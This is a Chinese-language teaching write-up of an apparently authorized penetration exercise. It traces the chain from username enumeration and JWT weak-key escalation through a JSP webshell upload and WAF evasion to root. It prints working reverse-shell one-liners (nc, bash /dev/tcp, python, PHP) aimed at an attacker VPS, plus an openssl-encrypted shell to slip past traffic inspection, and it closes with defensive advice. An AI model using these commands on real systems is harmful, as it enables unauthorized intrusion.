全程带阻:记一次授权网络攻防演练(下)
字数 1711 2025-08-18 11:38:52

网络攻防演练教学文档:从信息搜集到权限提升

1. 信息搜集阶段

1.1 用户名枚举

  • 漏洞点:密码找回功能的图片验证码未刷新
  • 利用方法
    • 通过重复使用同一验证码,可枚举系统用户名
    • 案例中获取的有效账号:nana、admin、liufei

1.2 敏感信息泄露

  • 漏洞点:密码找回功能对有效用户返回敏感信息
  • 利用方法
    • 输入有效用户名时,服务端返回哈希密码等敏感信息
    • 可结合彩虹表进行密码破解

2. 漏洞利用阶段

2.1 弱口令利用

  • 漏洞点:系统存在弱口令
  • 利用方法
    • 使用彩虹表反解哈希密码
    • 案例中成功获取liufei账号密码

2.2 社工密码爆破

  • 漏洞点:用户使用易猜测密码
  • 利用方法
    • 针对nana账号制作社工密码字典
    • 通过爆破获取正确密码

2.3 IDOR漏洞

  • 漏洞点:密码重置功能存在不安全的直接对象引用
  • 利用方法
    • 通过修改请求参数尝试重置admin密码
    • 案例中因业务限制未实际利用

2.4 JWT垂直越权

  • 漏洞点:JWT使用弱密钥
  • 利用方法
    • 分析上传请求中的JWT令牌
    • 通过弱密钥破解获取admin权限

3. 建立据点阶段

3.1 任意文件上传

  • 漏洞点:文件上传仅检查文件类型签名
  • 绕过方法
    • 添加合法的图片文件头(GIF/PNG/JPG)
    • 在文件内容中插入恶意代码
    • 案例中成功上传JSP webshell

3.2 WAF绕过技术

  • 传统方法
    • 分块传输
    • 畸型请求
    • 转义序列
    • 偏僻编码
    • TLS滥用
  • 现代方法
    • 使用冰蝎(Behinder)webshell
      • 密钥变换将文本转为二进制流
      • 加密传输防止流量监测
      • 注意:奇安信天眼系统可检测冰蝎流量特征

3.3 文件上传进阶技巧

  • 白名单绕过
    • 解析漏洞利用
    • 本地文件包含(LFI)
    • HTTP参数污染(HPP)

4. 权限提升阶段

4.1 反弹shell技术

4.1.1 常见反弹命令

  • nc反弹
    nc <your_vps> 1024 -e /bin/sh
    nc.traditional <your_vps> 1024 -e /bin/sh
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f
    
  • bash反弹
    /bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1
    
  • python反弹
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
  • PHP反弹
    php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'
    
  • exec反弹
    0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
    

4.1.2 反弹失败排查

  1. 验证命令是否存在

    • 检查目标系统是否安装所需命令(nc/bash/python等)
  2. 验证出口流量

    • 使用ICMP协议测试:
      ping -s 64 <your_vps>
      
    • 在VPS监控ICMP日志:
      tcpdump -nni eth0 icmp and icmp[icmptype]=icmp-echo
      
  3. 验证端口限制

    • 尝试不同端口(80/443等)
    • 案例中发现443端口在白名单内
  4. 绕过流量审查

    • 使用openssl加密反弹流量:
      • VPS生成证书:
        openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
        
      • VPS监听:
        openssl s_server -quiet -key key.pem -cert cert.pem -port 443
        
      • 目标执行:
        mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <your_vps>:443 > /tmp/s; rm /tmp/s
        

4.1.3 哑shell转交互式shell

  1. 在哑shell中执行:

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    然后按Ctrl-Z

  2. 在VPS中执行:

    stty raw -echo
    fg
    
  3. 回到shell中按Ctrl-l,然后执行:

    reset
    export SHELL=bash
    export TERM=xterm-256color
    stty rows 54 columns 104
    

4.2 提权技术

4.2.1 内核漏洞提权

  • 使用工具:linux-exploit-suggester-2
  • 案例中利用脏牛(Dirty Cow)漏洞:
    • 上传本地编译好的exp
    • 执行获取root权限

4.2.2 Sudo误配提权

  • 检查home目录下是否存在.sudo_as_admin_successful文件
  • 查找低权账号密码(配置文件等)
  • 使用低权账号密码执行:
    sudo su
    

4.2.3 其他提权方法

  • 搜寻配置文件中的明文密码
  • 环境变量劫持高权限程序
  • 不安全的服务利用
  • 权能(POSIX capabilities)滥用
  • SUID滥用

5. 完整攻击链总结

  1. 信息搜集

    • 枚举用户名(nana, admin, liufei)
    • 获取敏感信息(哈希密码)
  2. 漏洞利用

    • 弱口令破解
    • 社工密码爆破
    • JWT垂直越权
  3. 建立据点

    • 任意文件上传
    • 冰蝎webshell部署
  4. 权限提升

    • 反弹shell绕过限制
    • 内核漏洞提权
  5. 权限维持:(案例中未涉及)

    • 后门植入
    • 计划任务设置
  6. 横向移动:(案例中未涉及)

    • 内网扫描
    • 凭证窃取
  7. 痕迹清除:(案例中未涉及)

    • 日志清理
    • 文件隐藏

6. 防御建议

  1. 信息泄露防护

    • 统一错误响应
    • 验证码一次性使用
  2. 认证安全

    • 强制复杂密码策略
    • 多因素认证
  3. 上传防护

    • 文件内容检测
    • 白名单扩展名
    • 随机重命名
  4. 权限控制

    • 最小权限原则
    • 定期sudo配置审查
  5. 网络防护

    • 出口流量限制
    • 加密流量检测
  6. 系统加固

    • 及时打补丁
    • 禁用不必要服务
网络攻防演练教学文档:从信息搜集到权限提升 1. 信息搜集阶段 1.1 用户名枚举 漏洞点 :密码找回功能的图片验证码未刷新 利用方法 : 通过重复使用同一验证码,可枚举系统用户名 案例中获取的有效账号:nana、admin、liufei 1.2 敏感信息泄露 漏洞点 :密码找回功能对有效用户返回敏感信息 利用方法 : 输入有效用户名时,服务端返回哈希密码等敏感信息 可结合彩虹表进行密码破解 2. 漏洞利用阶段 2.1 弱口令利用 漏洞点 :系统存在弱口令 利用方法 : 使用彩虹表反解哈希密码 案例中成功获取liufei账号密码 2.2 社工密码爆破 漏洞点 :用户使用易猜测密码 利用方法 : 针对nana账号制作社工密码字典 通过爆破获取正确密码 2.3 IDOR漏洞 漏洞点 :密码重置功能存在不安全的直接对象引用 利用方法 : 通过修改请求参数尝试重置admin密码 案例中因业务限制未实际利用 2.4 JWT垂直越权 漏洞点 :JWT使用弱密钥 利用方法 : 分析上传请求中的JWT令牌 通过弱密钥破解获取admin权限 3. 建立据点阶段 3.1 任意文件上传 漏洞点 :文件上传仅检查文件类型签名 绕过方法 : 添加合法的图片文件头(GIF/PNG/JPG) 在文件内容中插入恶意代码 案例中成功上传JSP webshell 3.2 WAF绕过技术 传统方法 : 分块传输 畸型请求 转义序列 偏僻编码 TLS滥用 现代方法 : 使用冰蝎(Behinder)webshell 密钥变换将文本转为二进制流 加密传输防止流量监测 注意:奇安信天眼系统可检测冰蝎流量特征 3.3 文件上传进阶技巧 白名单绕过 : 解析漏洞利用 本地文件包含(LFI) HTTP参数污染(HPP) 4. 权限提升阶段 4.1 反弹shell技术 4.1.1 常见反弹命令 nc反弹 : bash反弹 : python反弹 : PHP反弹 : exec反弹 : 4.1.2 反弹失败排查 验证命令是否存在 : 检查目标系统是否安装所需命令(nc/bash/python等) 验证出口流量 : 使用ICMP协议测试: 在VPS监控ICMP日志: 验证端口限制 : 尝试不同端口(80/443等) 案例中发现443端口在白名单内 绕过流量审查 : 使用openssl加密反弹流量: VPS生成证书: VPS监听: 目标执行: 4.1.3 哑shell转交互式shell 在哑shell中执行: 然后按Ctrl-Z 在VPS中执行: 回到shell中按Ctrl-l,然后执行: 4.2 提权技术 4.2.1 内核漏洞提权 使用工具:linux-exploit-suggester-2 案例中利用脏牛(Dirty Cow)漏洞: 上传本地编译好的exp 执行获取root权限 4.2.2 Sudo误配提权 检查home目录下是否存在 .sudo_as_admin_successful 文件 查找低权账号密码(配置文件等) 使用低权账号密码执行: 4.2.3 其他提权方法 搜寻配置文件中的明文密码 环境变量劫持高权限程序 不安全的服务利用 权能(POSIX capabilities)滥用 SUID滥用 5. 完整攻击链总结 信息搜集 : 枚举用户名(nana, admin, liufei) 获取敏感信息(哈希密码) 漏洞利用 : 弱口令破解 社工密码爆破 JWT垂直越权 建立据点 : 任意文件上传 冰蝎webshell部署 权限提升 : 反弹shell绕过限制 内核漏洞提权 权限维持 :(案例中未涉及) 后门植入 计划任务设置 横向移动 :(案例中未涉及) 内网扫描 凭证窃取 痕迹清除 :(案例中未涉及) 日志清理 文件隐藏 6. 防御建议 信息泄露防护 : 统一错误响应 验证码一次性使用 认证安全 : 强制复杂密码策略 多因素认证 上传防护 : 文件内容检测 白名单扩展名 随机重命名 权限控制 : 最小权限原则 定期sudo配置审查 网络防护 : 出口流量限制 加密流量检测 系统加固 : 及时打补丁 禁用不必要服务